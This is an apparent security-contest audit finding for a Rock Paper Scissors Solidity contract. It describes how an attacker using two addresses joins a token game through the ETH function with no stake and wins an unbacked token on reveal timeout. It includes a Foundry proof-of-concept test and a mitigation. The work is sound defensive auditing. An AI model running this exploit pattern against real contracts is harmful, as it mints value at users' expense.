Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

An Attacker Can Illegitimately Gain an Extra WinningToken per Game

Description:

An attacker controlling two addresses (playerA and playerB) can exploit a mismatch between token-based and ETH-based game mechanics to illegitimately gain one extra WinningToken per game.

The attack proceeds as follows:

  1. playerA creates a game using createGameWithToken() with a bet amount of 0, and transfers 1 token to the contract.

  2. playerB (also controlled by the attacker) joins the game using joinGameWithEth() and sends no ETH, since game.bet == 0.

  3. Both players commit their moves.

  4. Only playerA reveals their move.

  5. After the reveal timeout, playerA calls timeoutReveal(), which declares them the winner and transfers 2 tokens to playerA.

Because playerB never actually staked any ETH or tokens, the second token received by playerA is unbacked and illegitimately obtained. This loop can be repeated indefinitely.

Impact:

If the vulnerability is not detected in time, an attacker can exploit it continuously and silently, generating new WinningToken out of thin air without any real cost or risk. This illegitimate token creation can lead to constant economic losses for the contract and for legitimate users, especially if the tokens hold any monetary value or are used to access rewards.

Proof of Concept:

  1. AttackerA receives 1 token

  2. AttackerA creates a token-based game

  3. AttackerB joins using ETH-based function (no value sent)

  4. Both commit, but only AttackerA reveals

  5. Timeout is triggered → AttackerA wins and receives 2 tokens

function test_extra_Token() public {
address attackerA = makeAddr("attackerA");
address attackerB = makeAddr("attackerB");
vm.prank(address(game));
token.mint(attackerA, 1);
vm.startPrank(attackerA);
token.approve(address(game), 1);
uint256 gameId = game.createGameWithToken(3, 5 minutes);
vm.stopPrank();
vm.prank(attackerB);
game.joinGameWithEth{value: 0}(gameId);
bytes32 saltA1 = keccak256(abi.encodePacked("Lamine", "yamal"));
bytes32 commitPlayerA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA1));
vm.prank(attackerA);
game.commitMove(gameId, commitPlayerA);
bytes32 saltB1 = keccak256(abi.encodePacked("Pedri", "Cubarsi"));
bytes32 commitPlayerB1 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltB1));
vm.prank(attackerB);
game.commitMove(gameId, commitPlayerB1);
vm.prank(attackerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA1);
vm.warp(block.timestamp + 5 minutes + 1);
vm.prank(attackerA);
game.timeoutReveal(gameId);
console2.log(token.balanceOf(attackerA));
}
Logs:
attackerA Token balance: 2

Recommended Mitigation:

struct Game {
...
+ bool ETH;
}
function createGameWithETH(...) external payable returns (uint256) {
...
+ game.ETH = true;
...
}
function joinGameWithETH(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
+ require(game.ETH, "This game is not ETH-based");
...
}

Tools Used

Manual Review and Foundry

Updates

Appeal created

m3dython Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Absence of State Change on Join Allows Player B Hijacking

Game state remains Created after a player joins

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.